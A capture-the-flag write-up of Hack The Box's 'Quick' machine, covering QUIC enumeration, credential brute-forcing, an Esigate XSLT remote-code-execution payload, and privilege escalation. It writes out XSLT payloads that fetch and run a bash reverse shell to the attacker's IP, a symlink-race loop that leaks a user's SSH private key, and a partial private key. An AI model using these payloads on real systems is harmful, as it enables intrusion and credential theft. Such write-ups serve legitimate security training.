Post

Hack The Box Write-Up Quick - 10.10.10.186

Be quick to learn and wise to know.

George Burns

About Quick

In this post, I’m writing a write-up for the machine Quick from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Quick is a ‘Hard’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 20 and submitting the root flag you points will be raised by 40.

Foothold After the port scan, I discovered two open ports. Only the SSH port 22/tcp and HTTP on 9001/tcp are the open ports on this box. After the investigation of the web service, I found out that the name of the box reveals the first hint. The hint to QUIC. After the compilation of curl to get support for HTTP/3, I was able to do GET requests to the webserver. Through the requests, I was able to get a PDF-document with a password. For the username, I have created a wordlist from the combination of the testimonials section from the webpage and the client page. With this wordlist, I have brute-forced the username and password combination with the use of Burp Suite.

User With the user account [email protected] I got access to the portal. Through this account, I was able to create support tickets. With Burp Suite I found that this webserver is running Esigate. Through a known vulnerability in this application, I was able to an XSS through XSLT attack to get a Reverse Shell on this box as the user sam.

From this user, I have to move to the user srvadm. This one was tough for me. I found that there was a second web service was running on this box; a printer server. From analyzing the code I know that only the username [email protected] is an accepted user name to login. I added this user to the MySQL database, along with the already existed [email protected] user account, only for the newly added account, I used the hash from the account [email protected]. Now, I can log in to the Printer Server.

Through analyzing the code for the printer jobs, I added a printer and points the IP-address of the printer to my box. I used the port 9100 and started a netcat session on my machine. Through a bash script, I replaced the job with a script that is printing the private key of srvadm to my netcat session. With this private key, I was able to create an SSH session as the user srvadm.

Root This part was not the most difficult part of the box. I found an URL encoded password of the root user account in one of the log files. Decoded this password, and created an SSH session.

Rooting this box was quite a journey. This is my first ‘Hard’ Linux machine on Hack The Box for me. Are you ready? Let’s start.

Machine Info

Machine Name: Quick
Difficulty: Hard
Points: 40
Release Date: 07 Nov 2020
IP: 10.10.10.x
Creator:  

Recon

Port scan with Nmap

As always I start my recon with an Nmap port scan.

1
~$ nmap -sC -sV -oA ./nmap/quick.txt 10.10.10.186

The results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 16:57 EDT
Nmap scan report for 10.10.10.186
Host is up (0.044s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.62 seconds

There are two open ports:

  1. 22/tcp (SSH)
  2. 9001/tcp (HTTP)

Enumeration

Web Server

I start by enumerating the webserver. I visited the web service on port 9001/tcp, http://10.10.10.186:9001. I landed on a website about new broadband services in JetSpeed. It looks like the administrators of this website are upgrading the security of the portal.

Hack-The-Box-Quick-HTTP-9001

The Get Started button goes to the login portal of the ticket system. I do not have any credentials yet.

Hack-The-Box-Quick-ticket-portal

When I go back to the homepage and clicks on the portal link, it leads me to the URL https://portal.quick.htb/ with an error: Server not found. I added the hostname portal.quick.htb to my hosts file and tried again, now on port 9001/tcp. Bingo, the error message is changing.

Hack-The-Box-Quick-SSL_ERROR_RX_RECORD_TOO_LONG

This error message is interesting. It seems that there is a configuration error on the web server, or there is something else running also on port 9001. I tried to capture the traffic with WireShark, but nothing useful in the TCP stream. I also tried Burp Suite, nothing useful.

What’s in the name?

It has taken me a few hours for trying, searching around on this box to get the foothold. But nothing. Then I have to take a step back. Quick. The name of this box is Quick. Maybe that’s a hint in the right direction? And so it turns out to be a hint. I searched on the internet for this word and found this Wikipedia article: https://en.wikipedia.org/wiki/QUIC. A quote from Wikipedia.

1
Transmission Control Protocol, or TCP, aims to provide an interface for sending streams of data between two endpoints. Data is handed to the TCP system, which ensures the data makes it to the other end in exactly the same form, or the connection will indicate that an error condition exists.

I wasn’t aware that the protocol QUIC even exists. It seems that there are running two protocols on this port. Nmap shows the default one protocol.

curl compilation

I tried with curl if I can get some information from the box with the use of the –http3 flag. It seems curl isn’t supporting HTTP/3.

1
2
3
~$ curl --http3 https://portal.quick.htb:9001
curl: option --http3: the installed libcurl version doesn't support this
curl: try 'curl --help' or 'curl --manual' for more information

I checked on Google and I found a Github repository (https://github.com/curl/curl/blob/master/docs/HTTP3.md) with a curl version that is supporting HTTP/3. I need to do the compilation manually. I’ve to build curl with the quiche version. For clarity, I’ve gone through the following steps to compile curl.

I’ve read down the steps and found that I’m missing some requirements. I invoked the commands below.

1
2
3
4
~$ apt-get install cmake
~$ apt-get install cargo
~$ apt-get install autoconf
~$ apt-get install libtool

The second step is to clone the quiche and BoringSSL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
~$ git clone --recursive https://github.com/cloudflare/quiche
Cloning into 'quiche'...
remote: Enumerating objects: 140, done.
remote: Counting objects: 100% (140/140), done.
remote: Compressing objects: 100% (97/97), done.
remote: Total 7863 (delta 70), reused 85 (delta 39), pack-reused 7723
Receiving objects: 100% (7863/7863), 13.69 MiB | 1.77 MiB/s, done.
Resolving deltas: 100% (4967/4967), done.
Submodule 'boringssl' (https://github.com/google/boringssl.git) registered for path 'deps/boringssl'
Cloning into '/home/htb/boxes/machines/quick/quiche/deps/boringssl'...
remote: Enumerating objects: 103, done.        
remote: Counting objects: 100% (103/103), done.        
remote: Compressing objects: 100% (66/66), done.        
remote: Total 75371 (delta 51), reused 66 (delta 36), pack-reused 75268        
Receiving objects: 100% (75371/75371), 119.56 MiB | 1.68 MiB/s, done.
Resolving deltas: 100% (53464/53464), done.
Submodule path 'deps/boringssl': checked out '1e859054c31ec7b974e998373e85fadea56d93ad'

Build BoringSSL (it needs to be built manually so it can be reused with curl):

1
2
3
4
5
6
7
8
9
~$ cd quiche/deps/boringssl
~$ mkdir build
~$ cd build
~$ cmake -DCMAKE_POSITION_INDEPENDENT_CODE=on ..
~$ make
~$ cd ..
~$ mkdir -p .openssl/lib
~$ cp build/crypto/libcrypto.a build/ssl/libssl.a .openssl/lib
~$ ln -s $PWD/include .openssl

Build quiche.

1
2
~$ cd ../..
~$ QUICHE_BSSL_PATH=$PWD/deps/boringssl cargo build --release --features pkg-config-meta

Build curl.

1
2
3
4
5
6
7
~$ cd ..
~$ git clone https://github.com/curl/curl
~$ cd curl
~$ ./buildconf
~$ ./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-ssl=$PWD/../quiche/deps/boringssl/.openssl --with-quiche=$PWD/../quiche/target/release --enable-alt-svc
~$ make
~$ make install

Now, curl is supporting HTTP/3 and I can do my request to the server with HTTP/3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
~$ curl --http3 https://portal.quick.htb/                                                                                                                                                 
                                                                                                                                                                                                                                           
<html>                                                                                                                                                                                                                                     
<title> Quick | Customer Portal</title>                                                                                                                                                                                                    
<h1>Quick | Portal</h1>                                                                                                                                                                                                                    
<head>                                                                                                                                                                                                                                     
<style>
ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  width: 200px;
  background-color: #f1f1f1;
}

li a {
  display: block;
  color: #000;
  padding: 8px 16px;
  text-decoration: none;
}

/* Change the link color on hover */
li a:hover {
  background-color: #555;
  color: white;
}
</style>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>
</ul>
</html>

And I got a response. There are three hyperlinks visible in the HTML-content. The last one ‘References’ seems to be interesting. Let’s check this hyperlink.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~$ curl --http3 https://portal.quick.htb/index.php?view=docs
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">

<h1>Quick | References</h1>
<ul>
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
</head>
</html>

There are two PDF-files on this page. With curl I downloaded both of them.

~$ curl --http3 https://portal.quick.htb/docs/Connectivity.pdf --output ../Connectivity.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 83830  100 83830    0     0   238k      0 --:--:-- --:--:-- --:--:--  237k
$ curl --http3 https://portal.quick.htb/docs/QuickStart.pdf --output ./QuickStart.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  228k  100  228k    0     0   560k      0 --:--:-- --:--:-- --:--:--  560k

Connectivity.pdf In this document, I found this password: Quick4cc3$$.

Hack-The-Box-Quick-credentials-password

QuickStart.pdf This file contains not any useful info. It says that we have to, it says

1
2
If something goes wrong, raise a ticket on our support portal. We provide the best support via
chat too if you are not satisfied with our ticketing system.

Gaining Access

Ticket portal

I have a password but do not have a username yet. On the homepage, I found a Testimonials section and at the bottom of the homepage there is a hyperlink which leads to the clients page.

Hack-The-Box-Quick-clients-page

When I put these two pieces together, I can create a list of potential usernames. I created the list below.

The next step is to try the username and password combination with Burp Suite, with the use of Burp’s Intruder. I have configured the Cluster bomb attack and bingo! I got a match in the username and password combination.

Hack-The-Box-Quick-login-brute-forcing

I can now log in with the the username [email protected] and the password Quick4cc3$$.

After logging in on the Ticket Portal there is an option to raise a ticket and search for created tickets. As it is visible in the screenshot for brute-forcing this web server is running Esigate version 4.5.2. I searched online for this combination and I found that there is a known vulnerability for this particular version of Esigate.

Exploitation

XSS through XSLT

On August 20th in 2018, the company Gosecure found a Java Remote Code Execution vulnerability in Esigate 4.5.2. The exploitation of this vulnerability can be done by XSLT content injection, which leads to an XSS vulnerability. For more information, check this blog post: https://www.gosecure.net/blog/2019/07/03/java-remote-code-execution-potpourri/.

I raised a case with a random title and message. With Burp Suit I’ve sent my request to the repeater in burp Suit and changed the ‘msg’ param to this payload.

Hack-The-Box-Quick-XSS-through-XSLT-payload

This payload is the execution a JavaScript code which is showing a message popup on execution.

1
2
3
4
5
xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>

Instead, of using the search bar, I filled in directly the query in the URL bar to search for my ticket with the payload, I entered this URL in the search bar: http://10.10.10.186:9001/search.php?search=TKT-1695. The payload got executed.

Hack-The-Box-Quick-XSS-through-XSLT

Ok, I’ve now found the vulnerability in Esigate and I’ve found a way to use this to my advantage. The next step is to modify the payload, so that I can drop a malicious script on the box with an Reverse Shell.

Reverse Shell as sam

This part of this box was a difficult one for me. And I admit, I’ve had some help taking this step. I’ve tried to drop a malicious script with a Reverse Shell on this box. The first execution of my script was working, but… the second one ends up on a 404 error message. The file couldn’t be found on my HTTP server. Troubleshooting this has taken me some time, it ends up that I’ve to change the file name, it is not possible to overwrite the existing file. This sounds so obvious, that I overlooked this part. So, remember: Change the name of the file, when you want to drop this file for the second time on this box.

Ok, I’ve created my payload to put my malicious code with the reverse shell on this box. This is my payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
    <xsl:variable name="cmd"><![CDATA[curl 10.10.14.18/t13nn3s_shell -o /tmp/t13nn3s_shell]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

After running the first payload, my reverse shell file is placed in /tmp/t13nn3s_shell. This file contains a simple bash script for establishing my shell.

1
bash -i >& /dev/tcp/10.10.14.18/4444 0>&1

The second payload is needed to execute this file for establishing the shell. On my machine is started a listener My second payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
        <xsl:variable name="cmd"><![CDATA[bash /tmp/t13nn3s_shell]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

Execute the payload through Burp Suite.

1
<esi:include src="" stylesheet="http://10.10.14.33/revshell1.xsl"></esi:include>

Hack-The-Box-Quick-payload-execution

My first payload which is dropping the Reverse Shell file to the box is, being downloaded to the machine.

1
2
3
4
~$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.186 - - [09/Jul/2020 07:05:53] "GET /revshell.xsl HTTP/1.1" 200 -
10.10.10.186 - - [09/Jul/2020 07:05:53] "GET /t13nn3s_shell HTTP/1.1" 200 -

I have renamed my payload to revshell2.xsl and changed the command in the msg box to this line below.

1
<esi:include src="" stylesheet="http://10.10.14.33/revshell2.xsl"></esi:include>

After running the second payload I got a reverse shell as the user account sam. I directly upgraded the shell to a full shell and checked if there are more users listed on this machine. And, indeed, there is a second user called srvadm. I need to jump to this user.

1
2
3
4
5
6
7
8
9
sam@quick:~$ hostname && whoami
hostname && whoami
quick
sam
sam@quick:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
sam@quick:~$ cd /home
sam@quick:/home$ ls
sam  srvadm
sam@quick:/home$

Lateral Movement

From sam to srvadm

I downloaded pspy to this box and run this file, from the results I can see that there us MySQL running on this box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
sam@quick:~$ ./pspy
...
2020/05/05 09:15:58 CMD: UID=65534 PID=2079   | nginx: worker process                      
2020/05/05 09:15:58 CMD: UID=1000 PID=20360  | /bin/bash 
2020/05/05 09:15:58 CMD: UID=1000 PID=20359  | python3 -c import pty;pty.spawn("/bin/bash") 
2020/05/05 09:15:58 CMD: UID=1000 PID=20340  | bash -i 
2020/05/05 09:15:58 CMD: UID=1000 PID=20338  | bash /tmp/t13nn3s_shell 
2020/05/05 09:15:58 CMD: UID=0    PID=20227  | 
2020/05/05 09:15:58 CMD: UID=0    PID=20210  | 
2020/05/05 09:15:58 CMD: UID=0    PID=20163  | 
2020/05/05 09:15:58 CMD: UID=0    PID=20     | 
2020/05/05 09:15:58 CMD: UID=0    PID=2      | 
2020/05/05 09:15:58 CMD: UID=33   PID=19980  | /usr/sbin/apache2 -k start 
2020/05/05 09:15:58 CMD: UID=0    PID=1990   | nginx: master process /usr/local/nginx/sbin/nginx -g daemon off;
2020/05/05 09:15:58 CMD: UID=0    PID=1988   | php-fpm: master process (/usr/local/etc/php-fpm.conf)
2020/05/05 09:15:58 CMD: UID=0    PID=1933   | containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/f78e2c79d2db3e029679c14060e7dcab4ffbba2167c107a7677f81024e8bc875 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc 
2020/05/05 09:15:58 CMD: UID=0    PID=1932   | containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/d63025c3f05b572471c86c790059b05f36c75fc90d975cb19288d5bc88d238ee -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc 
2020/05/05 09:15:58 CMD: UID=0    PID=193    | 
2020/05/05 09:15:58 CMD: UID=0    PID=1922   | /usr/bin/docker-proxy -proto udp -host-ip 0.0.0.0 -host-port 443 -container-ip 172.18.0.3 -container-port 443 
2020/05/05 09:15:58 CMD: UID=0    PID=19     | 
2020/05/05 09:15:58 CMD: UID=0    PID=18     | 
2020/05/05 09:15:58 CMD: UID=0    PID=177    | 
2020/05/05 09:15:58 CMD: UID=0    PID=175    | 
2020/05/05 09:15:58 CMD: UID=0    PID=174    | 
2020/05/05 09:15:58 CMD: UID=0    PID=16     | 
2020/05/05 09:15:58 CMD: UID=0    PID=15     | 
2020/05/05 09:15:58 CMD: UID=0    PID=1437   | /usr/sbin/apache2 -k start 
2020/05/05 09:15:58 CMD: UID=0    PID=14     | 
2020/05/05 09:15:58 CMD: UID=0    PID=13     | 
2020/05/05 09:15:58 CMD: UID=111  PID=1279   | /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid 
2020/05/05 09:15:58 CMD: UID=0    PID=122    | 
2020/05/05 09:15:58 CMD: UID=0    PID=12     | 
2020/05/05 09:15:58 CMD: UID=0    PID=1134   | /usr/sbin/sshd -D 
2020/05/05 09:15:58 CMD: UID=0    PID=11     | 
2020/05/05 09:15:58 CMD: UID=1000 PID=1099   | /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start 
2020/05/05 09:15:58 CMD: UID=0    PID=1081   | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal 
2020/05/05 09:15:58 CMD: UID=0    PID=1053   | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2020/05/05 09:15:58 CMD: UID=0    PID=105    | 
2020/05/05 09:15:58 CMD: UID=1000 PID=1032   | /bin/sh -c /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start 
2020/05/05 09:15:58 CMD: UID=0    PID=10     | 
2020/05/05 09:15:58 CMD: UID=0    PID=1      | /sbin/init auto automatic-ubiquity noprompt 
2020/05/05 09:16:01 CMD: UID=0    PID=21930  | /usr/sbin/CRON -f 
2020/05/05 09:17:01 CMD: UID=???  PID=21940  | ???
2020/05/05 09:17:01 CMD: UID=???  PID=21938  | ???
2020/05/05 09:17:01 CMD: UID=0    PID=21936  | 
...

I’ve run the default enumeration scripts as LinPeas.sh and LinEnum.sh, but they are not finding something useful. So, I have to look into the files. From the file /var/www/html/login.php, I found something interesting in the header. This file is creating a connection to the database and is including the db.php for the credentials to the database.

1
sam@quick:/var/www/html$ cat login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php                   
include("db.php");                                                                                                                                                                       
if(isset($_POST["email"]) && isset($_POST["password"]))                                                                                                                                  
{                                                                                                                                                                                        
        $email=$_POST["email"];                                                                                                                                                          
        $password = $_POST["password"];                                                                                                                                                  
        $password = md5(crypt($password,'fa'));                                                                                                                                          
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");                                                                                           
        $stmt->bind_param("ss",$email,$password);                                                                                                                                        
        $stmt->execute();                                                                                                                                                                
        $result = $stmt->get_result();                                                                                                                                                   
        $num_rows = $result->num_rows;                                                                                                                                                   
        if($num_rows > 0)                                                                                                                                                                
        {                                                                                                                                                                                
                session_start();                                                                                                                                                         
                $_SESSION["loggedin"]=$email;                                                                                                                                            
                header("location: home.php");                                                                                                                                            
        }                                                                                                                                                                                
        else                                                                                                                                                                             
        {                                                                                                                                                                                
                echo '<script>alert("Invalid Credentials");window.location.href="/login.php";</script>';                                                                                 
        }                                                                                                                                                                                
}                                                                                                                                                                                        
else

{“ file=”/var/www/html/login.php”}

I checked the /var/www/html/db.php file and I found the login credentials to the MySQL database.

1
2
sam@quick:/var/www/html$ cat db.php
cat db.php
1
2
3
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

I have checked some other PHP-files, but I have not found anything interesting so far. As I got the full permission on the MySQL database, so I queried the database to dump all of the users listed in the users table. I found the name of this table in the login.php file.

1
2
3
4
5
mysql -udb_adm -pdb_p4ss quick -e "select * from users"
mysql: [Warning] Using a password on the command line interface can be insecure.
name    email   password
Elisa   [email protected]        c6c35ae1f3cb19438e0199cfa72a9d9d
Server Admin    [email protected]        e626d51f8fbfd1124fdea88396c35d05

Tried to crack this hash, but was not able to, but after stuck hours on the decryption. I decided to look further on this machine and I found an extra web service in the directory /var/www/printer.

1
2
3
4
5
6
7
8
9
10
cd /etc/apache2/sites-enabled
sam@quick:/etc/apache2/sites-enabled$ cat 000-default.conf 
...
</VirtualHost>
<VirtualHost *:80>
        AssignUserId srvadm srvadm
        ServerName printerv2.quick.htb
        DocumentRoot /var/www/printer
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

I added the host printerv2.quick.htb to my /etc/hosts file and checked the page http://printerv2.quick.htb:9001.

Hack-The-Box-Quick-Write-Up-printer-server

I was not able to login with the user credentials I already got, so I looked further into the PHP-files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sam@quick:/var/www/printer$ ls
ls
add_printer.php
css
db.php
escpos-php
favicon.ico
fonts
home.php
images
index.php
job.php
printers.php
sam@quick:/var/www/printer$

Checked the /var/www/printers/index.php, here I found something interesting. This file is looking for a username in particular. Only the username [email protected] is allowed to login, otherwise it will drop an Invalid Credentials error.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sam@quick:/var/www/printer$ cat index.php                                                                                                                                                
cat index.php                                                                                                                                                                            
<?php                                                                                                                                                                                    
include("db.php");                                                                                                                                                                       
if(isset($_POST["email"]) && isset($_POST["password"]))                                                                                                                                  
{                                                                                                                                                                                        
        $email=$_POST["email"];                                                                                                                                                          
        $password = $_POST["password"];                                                                                                                                                  
        $password = md5(crypt($password,'fa'));                                                                                                                                          
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");                                                                                           
        $stmt->bind_param("ss",$email,$password);                                                                                                                                        
        $stmt->execute();                                                                                                                                                                
        $result = $stmt->get_result();                                                                                                                                                   
        $num_rows = $result->num_rows;                                                                                                                                                   
        if($num_rows > 0 && $email === "[email protected]")                                                                                                                               
        {                                                                                                                                                                                
                session_start();                                                                                                                                                         
                $_SESSION["loggedin"]=$email;                                                                                                                                            
                header("location: home.php");                                                                                                                                            
        }                                                                                                                                                                                
        else                                                                                                                                                                             
        {                                                                                                                                                                                
                echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';                                                                                 
        }

I have to put the information together. I got full control of a MySQL-database, found the user account with the hashed passwords. Try to reverse the password with reverse engineering, but I was not successful. Second, I found an extra web service with a login page which is only accepting the username [email protected] as a valid user.

I tried to add the user account [email protected] again to the MySQL-database and now with the password hash of the user [email protected].

1
2
3
4
5
6
7
8
9
sam@quick:/var/www/printer$ mysql -udb_adm -pdb_p4ss quick -e "insert into users (name,email,password) values ('Server Admin','[email protected]','c6c35ae1f3cb19438e0199cfa72a9d9d')"
sam@quick:/var/www/printer$ mysql -udb_adm -pdb_p4ss quick -e "select * from users"
<l -udb_adm -pdb_p4ss quick -e "select * from users"
mysql: [Warning] Using a password on the command line interface can be insecure.
name    email   password
Elisa   [email protected]        c6c35ae1f3cb19438e0199cfa72a9d9d
Server Admin    [email protected]        e626d51f8fbfd1124fdea88396c35d05
tiennes [email protected]        c6c35ae1f3cb19438e0199cfa72a9d9d
sam@quick:/var/www/printer$

I can now login the box with [email protected]. After the login I found that I can add network printers.

Hack-The-Box-Quick-Write-Up-logged-in-Printer-Server

To know what my next step will be, I have analyzed the code of job.php. I found that this code is putting a file in the /var/www/jobs directory and print out the job and remove the job. And this all takes 0.5 second…

1
sam@quick:/var/www/printer$ cat job.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php            
require __DIR__ . '/escpos-php/vendor/autoload.php';                                                                                                                                     
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;                                                                                                                                 
use Mike42\Escpos\Printer;                                                                                                                                                               
include("db.php");                                                                                                                                                                       
session_start();                                                                                                                                                                         
                                                                                                                                                                                         
if($_SESSION["loggedin"])                                                                                                                                                                
{                                                                                                                                                                                        
        if(isset($_POST["submit"]))                                                                                                                                                      
        {                                                                                                                                                                                
                $title=$_POST["title"];                                                                                                                                                  
                $file = date("Y-m-d_H:i:s");                                                                                                                                             
                file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);                                                                                                                
                chmod("/var/www/printer/jobs/".$file,"0777");                                                                                                                            
                $stmt=$conn->prepare("select ip,port from jobs");                                                                                                                        
                $stmt->execute();                                                                                                                                                        
                $result=$stmt->get_result();                                                                                                                                             
                if($result->num_rows > 0)                                                                                                                                                
                {                                                                                                                                                                        
                        $row=$result->fetch_assoc();                                                                                                                                     
                        $ip=$row["ip"];                                                                                                                                                  
                        $port=$row["port"];                                                                                                                                              
                        try                                                                                                                                                              
                        {                                                                                                                                                                
                                $connector = new NetworkPrintConnector($ip,$port);                                                                                                       
                                sleep(0.5); //Buffer for socket check                                                                                                                    
                                $printer = new Printer($connector);                                                                                                                      
                                $printer -> text(file_get_contents("/var/www/jobs/".$file));                                                                                             
                                $printer -> cut();                                                                                                                                       
                                $printer -> close();                                                                                                                                     
                                $message="Job assigned";                                                                                                                                 
                                unlink("/var/www/jobs/".$file);                                                                                                                          
                        }                                                                                                                                                                
                        catch(Exception $error)                                                                                                                                          
                        {                                                                                                                                                                
                                $error="Can't connect to printer.";                                                                                                                      
                                unlink("/var/www/jobs/".$file); 

As the printer is a device, which can talk over TCP, I have enabled an extra netcat session on my box with the listener port 9001/tcp. From Affix, I received this script. I placed this script in the /var/www/jobs directory. This script is replacing any contents in the /var/www/jobs with this file, the software is picking up this file and prints it out. As this file grabbed the private key from the srvadm user account I’m able to make a connection through SSH.

1
2
3
4
5
6
7
8
while [[ true ]]
do
    files=`ls | grep -v printer`
    if [[ $files != "" ]] ; then
            rm -f "$files"
	    ln -s /home/srvadm/.ssh/id_rsa ./$files
    fi
done

From the portal, I added the printer with this settings.

Hack-The-Box-Quick-add-printer

When I go to the Printers page and click on the jobs icon, the script is doing his work and the private key of srvadm got’s printed out on my listening netcat session on 9001/tcp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MBP-from-t13nn3s:quick t13nn3s$ netcat -lvvp 9100
Listening on any address 9100 (hp-pdl-datastr)
Connection from 10.10.10.186:51518
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P
AP1UWD26CAaDy4J7B2f5M/o5XEYIZeR+KKSh+mD//FOy+O3sqIX37anFqqvhJQ6D
1L2WOskWoyZzGqb8r94gN9TXW8TRlz7hMqq2jfWBgGm3YVzMKYSYsWi6dVYTlVGY
DLNb/88agUQGR8cANRis/2ckWK+GiyTo5pgZacnSN/61p1Ctv0IC/zCOI5p9CKnd
whOvbmjzNvh/b0eXbYQ/Rp5ryLuSJLZ1aPrtK+LCnqjKK0hwH8gKkdZk/d3Ofq4i
hRiQlakwPlsHy2am1O+smg0214HMyQQdn7lE9QIDAQABAoIBAG2zSKQkvxgjdeiI
ok/kcR5ns1wApagfHEFHxAxo8vFaN/m5QlQRa4H4lI/7y00mizi5CzFC3oVYtbum
Y5FXwagzZntxZegWQ9xb9Uy+X8sr6yIIGM5El75iroETpYhjvoFBSuedeOpwcaR+
DlritBg8rFKLQFrR0ysZqVKaLMmRxPutqvhd1vOZDO4R/8ZMKggFnPC03AkgXkp3
j8+ktSPW6THykwGnHXY/vkMAS2H3dBhmecA/Ks6V8h5htvybhDLuUMd++K6Fqo/B
H14kq+y0Vfjs37vcNR5G7E+7hNw3zv5N8uchP23TZn2MynsujZ3TwbwOV5pw/CxO
9nb7BSECgYEA5hMD4QRo35OwM/LCu5XCJjGardhHn83OIPUEmVePJ1SGCam6oxvc
bAA5n83ERMXpDmE4I7y3CNrd9DS/uUae9q4CN/5gjEcc9Z1E81U64v7+H8VK3rue
F6PinFsdov50tWJbxSYr0dIktSuUUPZrR+in5SOzP77kxZL4QtRE710CgYEAz+It
T/TMzWbl+9uLAyanQObr5gD1UmG5fdYcutTB+8JOXGKFDIyY+oVMwoU1jzk7KUtw
8MzyuG8D1icVysRXHU8btn5t1l51RXu0HsBmJ9LaySWFRbNt9bc7FErajJr8Dakj
b4gu9IKHcGchN2akH3KZ6lz/ayIAxFtadrTMinkCgYEAxpZzKq6btx/LX4uS+kdx
pXX7hULBz/XcjiXvKkyhi9kxOPX/2voZcD9hfcYmOxZ466iOxIoHkuUX38oIEuwa
GeJol9xBidN386kj8sUGZxiiUNoCne5jrxQObddX5XCtXELh43HnMNyqQpazFo8c
